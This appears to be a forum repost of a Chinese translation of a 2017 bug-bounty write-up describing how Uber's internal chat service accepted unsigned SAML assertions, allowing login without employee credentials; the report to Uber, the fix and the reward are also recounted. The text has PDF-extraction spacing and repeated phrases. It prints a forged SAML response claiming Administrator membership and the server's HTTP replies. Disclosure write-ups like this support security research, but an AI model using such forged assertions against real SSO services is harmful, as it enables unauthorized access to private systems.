搜索

[11781] 2017-09-14_挖洞经验看我如何利用SAML漏洞实现Uber内部聊天系统未授权登录

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2017-09-14_挖洞经验看我如何利用SAML漏洞实现Uber内部聊天系统未授权登录 挖 洞 经 验   |   看 我 如 何 利 用 S A M L 漏 洞 实 现 U b e r 内 部 聊 天 系 统 未 授 权 登 录 c l o u d s   F r e e B u f   2 0 1 7 - 0 9 - 1 4 本 文 讲 述 了 利 用 本 文 讲 述 了 利 用 S A M L （ 安 全 声 明 标 记 语 言 ） 服 务 漏 洞 ， 绕 过 优 步 （ （ 安 全 声 明 标 记 语 言 ） 服 务 漏 洞 ， 绕 过 优 步 （ U b e r ） 公 司 内 部 聊 天 系 统 身 份 认 证 机 制 ， ） 公 司 内 部 聊 天 系 统 身 份 认 证 机 制 ， 实 现 了 对 该 内 部 聊 天 系 统 的 未 授 权 登 录 访 问 ， 该 漏 洞 最 终 获 得 实 现 了 对 该 内 部 聊 天 系 统 的 未 授 权 登 录 访 问 ， 该 漏 洞 最 终 获 得 U b e r 官 方 官 方 8 5 0 0 美 元 奖 励 。 美 元 奖 励 。 漏 洞 发 现 漏 洞 发 现 通 过 U b e r 的 漏 洞 赏 金 项 目 范 围 ， 我 利 用 域 名 探 索 网 站 h t t p s : / / c r t . s h ， 发 现 了 其 内 部 聊 天 系 统 h t t p s : / / u c h a t . u b e r i n t e r n a l . c o m / l o g i n ， 该 系 统 要 求 使 用 U b e r 内 部 员 工 的 S S O 凭 据 进 行 登 录 。 综 合 先 前 对 U b e r 网 络 系 统 的 研 究 ， 我 猜 测 该 系 统 的 身 份 认 证 机 制 应 该 是 基 于 S A M L （ 安 全 声 明 标 记 语 言 ） 进 行 身 份 跨 域 传 递 和 登 录 的 ， 另 外 ， 我 还 发 现 了 该 系 统 使 用 S A M L 的 服 务 端 ： h t t p s : / / u c h a t . u b e r i n t e r n a l . c o m / l o g i n / s s o / s a m l S A M L ： 安 全 声 明 标 记 语 言 （ S e c u r i t y   A s s e r t i o n   M a r k u p   L a n g u a g e ） ， 它 是 一 个 基 于 X M L 的 标 准 ， 用 于 在 不 同 安 全 域 ( s e c u r i t y   d o m a i n ) 之 间 交 换 认 证 和 授 权 数 据 。 S A M L 标 准 定 义 了 身 份 提 供 者 ( i d e n t i t y   p r o v i d e r ) 和 服 务
提 供 者 ( s e r v i c e   p r o v i d e r ) ， 这 两 者 构 成 了 不 同 的 安 全 域 。 为 了 保 证 身 份 安 全 ， 我 们 除 了 可 以 采 用 加 密 签 名 等 措 施 ， 还 可 采 用 S A M L 规 范 来 传 输 ， 传 输 的 数 据 以 X M L 形 式 为 主 ， 内 容 符 合 S A M L 的 推 荐 标 准 。 为 了 发 现 该 系 统 S A M L 框 架 的 服 务 漏 洞 ， 我 决 定 构 造 一 个 简 单 的 S A M L 声 明 ， 通 过 P O S T 请 求 方 式 把 它 发 送 到 其 服 务 端 去 。 有 关 S A M L 单 点 登 录 （ S S O ） 的 基 本 机 制 ， 可 点 此 了 解 查 看 。 为 了 验 证 该 聊 天 系 统 S A M L 服 务 是 否 部 署 了 签 名 校 验 功 能 ， 我 打 算 在 P O S T 请 求 中 加 入 一 个 不 带 签 名 的 简 单 X M L 标 记 ， 形 成 S A M L 请 求 一 并 发 送 至 S A M L 服 务 端 。 该 X M L 标 记 内 容 为 ： 当 把 以 上 这 个 S A M L 请 求 发 送 至 聊 天 系 统 的 S A M L 服 务 端 后 ， 该 聊 天 系 统 远 端 服 务 器 竟 然 给 出 了 一 个 有 效 响 应 ， 它 完 全 没 对 S A M L 请 求 的 签 名 进 行 校 验 ， 其 有 效 响 应 如 下 ： < s a m l p : R e s p o n s e   x m l n s : s a m l = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : a s s e r t i o n "   x m l n s : s a m l p = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : p r o t o c o l "   I D = " R 0 b d b 6 f 3 3 e f 8 4 4 2 5 a a 2 7 8 2 e a b 4 4 8 3 7 9 2 7 6 2 f 2 9 7 d f "   V e r s i o n = " 2 . 0 "   I s s u e I n s t a n t = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 3 7 : 3 4 Z "   D e s t i n a t i o n = " "   I n R e s p o n s e T o = " O N E L O G I N _ b d 2 4 d 6 3 e a f e 2 3 5 2 0 1 b 1 b c 6 3 6 8 2 3 c 8 4 3 8 1 d b e 5 7 5 c " > < s a m l p : S t a t u s > < s a m l p : S t a t u s C o d e   V a l u e = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : s t a t u s : S u c c e s s " / > < / s a m l p : S t a t u s > < s a m l : A s s e r t i o n   x m l n s : s a m l = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : a s s e r t i o n "   x m l n s : x s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   V e r s i o n = " 2 . 0 "   I D = " p f x b 7 5 9 3 2 c 2 - 2 e 4 4 - d 1 8 d - 2 2 4 b - 3 5 4 8 4 9 a 2 9 2 a f "   I s s u e I n s t a n t = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 3 7 : 3 4 Z " > < s a m l : S u b j e c t > < s a m l : N a m e I D   F o r m a t = " u r n : o a s i s : n a m e s : t c : S A M L : 1 . 1 : n a m e i d - f o r m a t : e m a i l A d d r e s s " > m i c h a e l @ t e s t < / s a m l : N a m e I D > < s a m l : S u b j e c t C o n f i r m a t i o n   M e t h o d = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : c m : b e a r e r " > < s a m l : S u b j e c t C o n f i r m a t i o n D a t a   N o t O n O r A f t e r = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 4 0 : 3 4 Z "   R e c i p i e n t = " "   I n R e s p o n s e T o = " O N E L O G I N _ b d 2 4 d 6 3 e a f e 2 3 5 2 0 1 b 1 b c 6 3 6 8 2 3 c 8 4 3 8 1 d b e 5 7 5 c " / > < / s a m l : S u b j e c t C o n f i r m a t i o n > < / s a m l : S u b j e c t > < s a m l : C o n d i t i o n s   N o t B e f o r e = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 3 4 : 3 4 Z "   N o t O n O r A f t e r = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 4 0 : 3 4 Z " > < s a m l : A u d i e n c e R e s t r i c t i o n > < s a m l : A u d i e n c e > p h p - s a m l < / s a m l : A u d i e n c e > < / s a m l : A u d i e n c e R e s t r i c t i o n > < / s a m l : C o n d i t i o n s > < s a m l : A u t h n S t a t e m e n t   A u t h n I n s t a n t = " 2 0 1 6 - 0 5 - 0 4 T 0 1 : 3 7 : 3 3 Z "   S e s s i o n N o t O n O r A f t e r = " 2 0 1 6 - 0 5 - 0 5 T 0 1 : 3 7 : 3 4 Z "   S e s s i o n I n d e x = " _ b 3 4 0 f f a 0 - f 3 c 6 - 0 1 3 3 - 3 4 8 3 - 0 2 a 5 4 0 6 d 9 a 2 f " > < s a m l : A u t h n C o n t e x t > < s a m l : A u t h n C o n t e x t C l a s s R e f > u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : a c : c l a s s e s : P a s s w o r d P r o t e c t e d T r a n s p o r t < / s a m l : A u t h n C o n t e x t C l a s s R e f > < / s a m l : A u t h n C o n t e x t > < / s a m l : A u t h n S t a t e m e n t > < s a m l : A t t r i b u t e S t a t e m e n t > < / s a m l : A t t r i b u t e >   < s a m l : A t t r i b u t e   N a m e F o r m a t = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : a t t r n a m e - f o r m a t : b a s i c "   N a m e = " E m a i l " > < s a m l : A t t r i b u t e V a l u e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x s i : t y p e = " x s : s t r i n g " > n o r e p l y @ u b e r . c o m < / s a m l : A t t r i b u t e V a l u e > < / s a m l : A t t r i b u t e > < s a m l : A t t r i b u t e   N a m e F o r m a t = " u r n : o a s i s : n a m e s : t c : S A M L : 2 . 0 : a t t r n a m e - f o r m a t : b a s i c "   N a m e = " m e m b e r O f " > < s a m l : A t t r i b u t e V a l u e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x s i : t y p e = " x s : s t r i n g " > A d m i n i s t r a t o r < / s a m l : A t t r i b u t e V a l u e > < / s a m l : A t t r i b u t e > < / s a m l : A t t r i b u t e S t a t e m e n t > < / s a m l : A s s e r t i o n > < / s a m l p : R e s p o n s e >
漏 洞 利 用 漏 洞 利 用 后 来 ， 我 尝 试 在 发 送 的 S A M L 请 求 中 加 入 用 户 名 ， 经 过 测 试 ， 竟 然 不 需 任 何 U b e r 内 部 员 工 账 户 凭 据 ， 就 可 以 成 功 登 录 进 入 该 聊 天 系 统 。 如 此 ， 这 种 方 式 能 绕 过 聊 天 系 统 身 份 认 证 机 制 ， 以 U b e r 有 效 员 工 身 份 ， 混 入 任 何 聊 天 频 道 ， 发 起 会 话 ， 或 是 在 其 中 发 布 垃 圾 信 息 ， 或 伪 装 身 份 发 言 等 等 。 漏 洞 上 报 漏 洞 上 报 之 后 ， 我 迅 速 将 该 漏 洞 问 题 上 报 给 了 U b e r 安 全 团 队 ， 他 们 最 终 在 身 份 认 证 机 制 中 加 入 了 S A M L 签 名 认 证 。 2 0 1 7 年 4 月 2 2 日   –   通 过 H a c k e r o n e 进 行 漏 洞 初 报 2 0 1 7 年 4 月 2 5 日   –   U b e r 反 馈 需 要 更 多 验 证 性 证 据 2 0 1 7 年 4 月 2 5 日   –   向 U b e r 发 送 了 一 段 漏 洞 利 用 视 频 2 0 1 7 年 4 月 2 9 日   –   漏 洞 分 类 并 获 得 前 期 5 0 0 $ 奖 励 2 0 1 7 年 5 月 1 日   –   漏 洞 修 复 H T T P / 1 . 1   3 0 2   F o u n d D a t e :   S a t ,   2 2   A p r   2 0 1 7   0 8 : 3 3 : 3 5   G M T C o n t e n t - T y p e :   t e x t / p l a i n ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   0 C o n n e c t i o n :   k e e p - a l i v e S e r v e r :   n g i n x / 1 . 1 1 . 5 S e t - C o o k i e :   s r v _ i d = ;   e x p i r e s = S u n ,   2 3 - A p r - 1 7   0 8 : 3 3 : 3 5   G M T ;   d o m a i n = u b e r i n t e r n a l . c o m ;   p a t h = / C o n t e n t - S e c u r i t y - P o l i c y :   f r a m e - a n c e s t o r s   ‘ s e l f ’ L o c a t i o n :   / e r r o r ? t i t l e = u c h a t + % 2 8 s t a g i n g % 2 9 + n e e d s + y o u r + h e l p % 3 A & m e s s a g e = S A M L + l o g i n + w a s + u n s u c c e s s f u l + b e c a u s e + o n e + o f + t h e + a t t r i b u t e s + i s + i n c o r r e c t . + P l e a s e + c o n t a c t + y o u r + S y s t e m + A d m i n i s t r a t o r . & d e t a i l s = U s e r n a m e + a t t r i b u t e + i s + m i s s i n g & l i n k = % 2 F & l i n k m e s s a g e = G o + b a c k + t o + u C h a t X - C l u s t e r - I d :   X - F r a m e - O p t i o n s : S A M E O R I G I N   X - R e q u e s t - I d :   u h g 9 7 n m 9 k 3 g 1 9 r e b 3 4 g m 8 t 6 w j r X - V e r s i o n - I d :   3 . 7 . 0 . 9 0 . 8 f a 8 b a 5 e 2 a c 1 1 e e 1 f 0 3 8 9 5 3 d f c e 9 e d d 0 . t r u e H T T P / 1 . 1   3 0 2   F o u n d D a t e :   S a t ,   2 2   A p r   2 0 1 7   0 8 : 3 3 : 3 5   G M T C o n t e n t - T y p e :   t e x t / p l a i n ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   0 C o n n e c t i o n :   k e e p - a l i v e S e r v e r :   n g i n x / 1 . 1 1 . 5 S e t - C o o k i e :   s r v _ i d = ;   e x p i r e s = S u n ,   2 3 - A p r - 1 7   0 8 : 3 3 : 3 5   G M T ;   d o m a i n = u b e r i n t e r n a l . c o m ;   p a t h = / C o n t e n t - S e c u r i t y - P o l i c y :   f r a m e - a n c e s t o r s   ‘ s e l f ’ L o c a t i o n :   / e r r o r ? t i t l e = u c h a t + % 2 8 s t a g i n g % 2 9 + n e e d s + y o u r + h e l p % 3 A & m e s s a g e = S A M L + l o g i n + w a s + u n s u c c e s s f u l + b e c a u s e + o n e + o f + t h e + a t t r i b u t e s + i s + i n c o r r e c t . + P l e a s e + c o n t a c t + y o u r + S y s t e m + A d m i n i s t r a t o r . & d e t a i l s = U s e r n a m e + a t t r i b u t e + i s + m i s s i n g & l i n k = % 2 F & l i n k m e s s a g e = G o + b a c k + t o + u C h a t X - C l u s t e r - I d :   X - F r a m e - O p t i o n s : S A M E O R I G I N   X - R e q u e s t - I d :   u h g 9 7 n m 9 k 3 g 1 9 r e b 3 4 g m 8 t 6 w j r X - V e r s i o n - I d :   3 . 7 . 0 . 9 0 . 8 f a 8 b a 5 e 2 a c 1 1 e e 1 f 0 3 8 9 5 3 d f c e 9 e d d 0 . t r u e
2 0 1 7 年 5 月 1 日   – 再 次 获 得 U b e r 方 面 8 0 0 0 $ 奖 励 * 参 考 来 源 ： m i s h . r e ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理